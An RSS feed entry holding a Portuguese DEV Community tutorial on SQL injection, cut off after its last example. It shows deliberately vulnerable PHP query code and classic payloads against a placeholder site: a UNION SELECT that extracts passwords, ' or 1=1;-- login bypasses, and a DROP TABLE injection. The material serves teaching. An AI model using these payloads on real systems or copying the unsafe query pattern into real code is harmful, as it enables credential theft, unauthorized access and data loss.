<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Luiz Zulian</title>
    <description>The latest articles on DEV Community by Luiz Zulian (@zulian).</description>
    <link>https://dev.to/zulian</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F460944%2F655c0689-de85-48b3-bf69-8dcee488ef99.jpeg</url>
      <title>DEV Community: Luiz Zulian</title>
      <link>https://dev.to/zulian</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zulian"/>
    <language>en</language>
    <item>
      <title>'; SQL_Injection ( ) ;--</title>
      <dc:creator>Luiz Zulian</dc:creator>
      <pubDate>Fri, 16 Dec 2022 18:20:29 +0000</pubDate>
      <link>https://dev.to/zulian/-sqlinjection--27dj</link>
      <guid>https://dev.to/zulian/-sqlinjection--27dj</guid>
      <description>&lt;h2&gt;
  
  
  O que é isso?
&lt;/h2&gt;

&lt;p&gt;SQL Injection é um tipo de exploração de injeção&lt;br&gt;
em consultas de bancos de dados SQL.&lt;/p&gt;

&lt;p&gt;Vulnerabilidades de injeção é basicamente injetar&lt;br&gt;
código malicioso em uma entrada do sistema,&lt;br&gt;
com o intuito de causar um comportamento indesejado.&lt;/p&gt;

&lt;p&gt;As vulnerabilidades de injeção são frequentemente encontradas em:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Consultas SQL (Structured Query Language)&lt;/li&gt;
&lt;li&gt;Consultas LDAP (Lightweight Directory Access Protocol)&lt;/li&gt;
&lt;li&gt;XPath (XML Path Language)&lt;/li&gt;
&lt;li&gt;NoSQL (NotSQL)&lt;/li&gt;
&lt;li&gt;Comandos do sistema operacional (linux, windows, etc...)&lt;/li&gt;
&lt;li&gt;Analisadores XML&lt;/li&gt;
&lt;li&gt;Cabeçalhos SMTP (Simple Mail Transfer Protocol)&lt;/li&gt;
&lt;li&gt;RegEx (Expressões regulares)&lt;/li&gt;
&lt;li&gt;JSON (JavaScript Object Notation)&lt;/li&gt;
&lt;li&gt;Consultas ORM (Object-relational mapping)&lt;/li&gt;
&lt;li&gt;Navegação OGNL (Object-Graph Navigation Language)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mas vamos focar apenas em Injeção de SQL.&lt;/p&gt;
&lt;h3&gt;
  
  
  SQL_Injection, enfim
&lt;/h3&gt;

&lt;p&gt;SQL_Injection em tradução livre é Injeção de SQL,&lt;br&gt;
seu nome expressa muito bem a ideia a ideia da técnica,&lt;br&gt;
Injetar comandos de banco de dados não desejados em uma consulta SQL.&lt;/p&gt;

&lt;p&gt;O primeiro relado dessa técnica foi feito no ano de 1998&lt;br&gt;
em um artigo na Phrack Magazine.&lt;/p&gt;

&lt;p&gt;As falhas de injeção são muito comuns,&lt;br&gt;
principalmente em código legado e em sistemas mais amadores.&lt;/p&gt;

&lt;p&gt;Quase qualquer fonte de dados pode ser um vetor de injeção de sql,&lt;br&gt;
variáveis de ambiente, parâmetros, serviços da Web externos e internos e todos&lt;br&gt;
os tipos de usuários.&lt;/p&gt;

&lt;p&gt;As falhas de injeção, hoje são fáceis de descobrir ao examinar o código fonte,&lt;br&gt;
Veremos exemplos a seguir...&lt;/p&gt;

&lt;p&gt;Scanners e fuzzers podem ajudar desenvolvedores e invasores a encontrar&lt;br&gt;
falhas de injeção.&lt;/p&gt;

&lt;p&gt;A injeção pode resultar em perda de dados, corrupção ou divulgação para partes&lt;br&gt;
não autorizadas, perda de responsabilidade ou negação de acesso.&lt;/p&gt;

&lt;p&gt;A injeção às vezes pode levar à aquisição completa do host.&lt;br&gt;
O impacto nos negócios depende das necessidades do aplicativo e dos dados.&lt;/p&gt;
&lt;h3&gt;
  
  
  O que me deixaria vulnerável?
&lt;/h3&gt;

&lt;p&gt;Uma aplicação é vulnerável a este ataque quando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Os dados fornecidos pelo usuário não são sanitizados, ou seja,&lt;br&gt;
não são validados, filtrados ou higienizados pela aplicação.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Consultas dinâmicas ou chamadas não parametrizadas sem escape ciente do&lt;br&gt;
contexto são usadas diretamente no interpretador.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dados hostis são usados ​​em parâmetros de pesquisa de mapeamento relacional de&lt;br&gt;
objeto (ORM) para extrair registros confidenciais adicionais.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Os dados hostis são usados ​​diretamente ou concatenados, de forma que o SQL ou&lt;br&gt;
o comando contenha a estrutura e os dados hostis em consultas dinâmicas,&lt;br&gt;
comandos ou procedimentos armazenados.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A revisão do código-fonte é o&lt;br&gt;
melhor método para detectar se os aplicativos são vulneráveis ​​a injeções,&lt;br&gt;
seguida de perto por testes automatizados completos de todos os parâmetros,&lt;br&gt;
cabeçalhos, URL, cookies, JSON, SOAP e entradas de dados XML.&lt;/p&gt;

&lt;p&gt;As organizações podem incluir ferramentas de fonte estática (SAST) e teste de&lt;br&gt;
aplicativo dinâmico (DAST) no pipeline de CI / CD para identificar falhas de&lt;br&gt;
injeção recém-introduzidas antes da implantação de produção.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://owasp.org/www-project-top-ten/2017/A1_2017-Injection"&gt;Fonte: owasp.org&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Entendendo o SQL Injection
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Servidor
&lt;/h3&gt;

&lt;p&gt;Vamos imaginar um sistema hospedado em teste.com,&lt;br&gt;
esse sistema quando passado o ID, mostra o nome do usuário.&lt;/p&gt;

&lt;p&gt;Para chamar, podemos fazer assim:&lt;/p&gt;

&lt;p&gt;teste.com?id=&lt;code&gt;10&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Podemos imaginar nosso backend da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="nv"&gt;$userId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT NAME FROM USERS WHERE ID = '&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;' ORDER BY NAME; "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Nome do usuário: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O que nos interessa é o SQL montado, ele seria assim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'10'&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;NAME&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  O vilão ';--
&lt;/h3&gt;

&lt;p&gt;Agora é hora de conhecer o vilão &lt;code&gt;';--&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Ele é formado por alguns comandos de SQL bem legais, são eles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;'&lt;/code&gt; Aspa, ela simboliza abertura e fechamento de string em SQL,&lt;br&gt;
no nosso caso seria o fechamento.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;;&lt;/code&gt; Simboliza o fim de uma consulta sql, similar a outras linguagens de&lt;br&gt;
programação.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;--&lt;/code&gt; simboliza comentário de linha, similar ao &lt;code&gt;//&lt;/code&gt; de outras linguagens,&lt;br&gt;
aqui ele tem a função de anular o restante do sql.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bora rodar o bandião:&lt;/p&gt;

&lt;p&gt;teste.com?id=&lt;code&gt;';--&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Reparem que nosso SQL se transformou, zeramos o ID, e anulamos o resto da&lt;br&gt;
consulta&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="c1"&gt;--' ORDER BY NAME;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Bora fazer maldade
&lt;/h3&gt;

&lt;p&gt;Vamos nos aproveitar dessa vulnerabilidade e dominar a consulta.&lt;/p&gt;

&lt;p&gt;Podemos anular a consulta, e  unirmos uma nova consulta &lt;code&gt;UNION&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Nesse caso teríamos um problema, o servidor sempre retorna só o campo NAME&lt;/p&gt;

&lt;p&gt;Então faremos nossa consulta e renomearemos o resultado para NAME &lt;code&gt;AS NAME&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;teste.com?id=&lt;code&gt;' UNION SELECT PASSWORD AS NAME FROM USERS ;--&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;PASSWORD&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="c1"&gt;--' ORDER BY NAME;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  By-Pass
&lt;/h3&gt;

&lt;p&gt;Uma outra técnica legal que pode ser aplicada é o by-pass.&lt;/p&gt;

&lt;p&gt;Ele consiste em "Pular" alguma parte do processo.&lt;/p&gt;

&lt;p&gt;Para entender melhor, vamos imaginar um servidor com o papel de controlar o&lt;br&gt;
login de um usuário&lt;/p&gt;

&lt;p&gt;ele recebe EMAIL e SENHA&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="nv"&gt;$email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Recebe email&lt;/span&gt;
&lt;span class="nv"&gt;$senha&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'senha'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Recebe senha&lt;/span&gt;

&lt;span class="c1"&gt;// Monta o sql&lt;/span&gt;
&lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT nome FROM USERS WHERE email='&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="s2"&gt;' and senha='&lt;/span&gt;&lt;span class="nv"&gt;$senha&lt;/span&gt;&lt;span class="s2"&gt;'; "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Consulta o sql no banco&lt;/span&gt;

&lt;span class="c1"&gt;// Se existir o usuário com a senha&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]){&lt;/span&gt;
  &lt;span class="c1"&gt;// Da boas vindas&lt;/span&gt;
  &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Bem vindo &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'nome'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;!"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="c1"&gt;// Se não existir&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Notifica o usuário&lt;/span&gt;
  &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Email ou senha incorretos"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Então se enviarmos o seguinte usuário e senha&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;teste.com/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"teste@teste.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"senha"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Password"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Teremos o seguinte sql gerado&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;nome&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'teste@teste.com'&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;senha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Password'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bora fazer o bypass&lt;/p&gt;

&lt;p&gt;A primeira forma que gostaria de apresentar é a &lt;code&gt;""="" is Always True&lt;/code&gt;,&lt;br&gt;
ou seja, vazio é igual a vazio sempre, seu script é esse: &lt;code&gt;' or ''='&lt;/code&gt;,&lt;br&gt;
bora enviar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;teste.com/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"' or ''='"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"senha"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"' or ''='"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A query gerada será a seguinte&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;nome&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;senha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Entender o que esta rolando é um pouco complicado, mas o resultado é muito&lt;br&gt;
eficiente pois aproveita muito bem as aspas do script original.&lt;/p&gt;

&lt;p&gt;Vamos analisar essa parte &lt;code&gt;email='' or ''=''&lt;/code&gt;&lt;br&gt;
Ela sempre sera verdadeira por uma questão booleana,&lt;/p&gt;

&lt;p&gt;email &lt;strong&gt;é igual a&lt;/strong&gt; vazio &lt;strong&gt;ou&lt;/strong&gt; vazio &lt;strong&gt;é igual a&lt;/strong&gt; vazio?&lt;/p&gt;

&lt;p&gt;Vazio é igual a vazio sempre!&lt;/p&gt;

&lt;p&gt;O mesmo se aplica a senha...&lt;/p&gt;

&lt;p&gt;Mas essa tecnica tem um problema, muitas vezes a senha é criptografada,&lt;br&gt;
nesses casos perderíamos a comparação,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;nome&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;senha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'698dc19d489c4e4'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Não funcionaria...&lt;/p&gt;

&lt;p&gt;Mas não desanime, tenho a solução perfeita para esses casos,&lt;br&gt;
pular a validação de senha, bora ver a seguir.&lt;/p&gt;



&lt;p&gt;Outra forma de fazer um bypass muito eficiente é ignorando a senha.&lt;/p&gt;

&lt;p&gt;Para isso, anularemos a query, tornaremos ela verdadeira e ignoraremos a senha,&lt;/p&gt;

&lt;p&gt;Mas vamos por partes, envenenaremos o campo de email:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;'&lt;/code&gt; Fecha a string de email&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OR 1=1&lt;/code&gt; a condição anterior, que será anulada, ou 1=1, que sempre será verdade&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;;--&lt;/code&gt; ignora o resto da query, no caso a parte de validação de senha&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Teremos o seguinte resultado, simples e elegante.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;' or 1=1; --&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Vamos enviar e ver o que acontece:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;teste.com/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"' or 1=1;--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"senha"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"NaoPrecisoDeSenha"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A query gerada será a seguinte&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;nome&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="c1"&gt;--' and senha='NaoPrecisoDeSenha';&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Um efeito colateral interessante é que não especificamos qual usuário queremos,&lt;br&gt;
então o banco retorna o primeiro usuário cadastrado, que muitas vezes é o adm...&lt;br&gt;
Mas podemos forçar o adm também passando mais parâmetros no lugar do &lt;code&gt;1=1&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Destruído um banco de dados
&lt;/h3&gt;

&lt;p&gt;Mas o pior ainda está por vir, injeção de sql pode rodar qualquer coisa no banco&lt;br&gt;
inclusive drop tables, causando assim danos ao sistema, perca de dados,&lt;br&gt;
podendo ser até mesmo irreparáveis caso não exista um backup&lt;/p&gt;

&lt;p&gt;teste.com?id=&lt;code&gt;'; DROP TABLE USERS; --&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;teste.com/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"'; DROP TABLE USERS; --"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"senha"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"NuncaMais"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
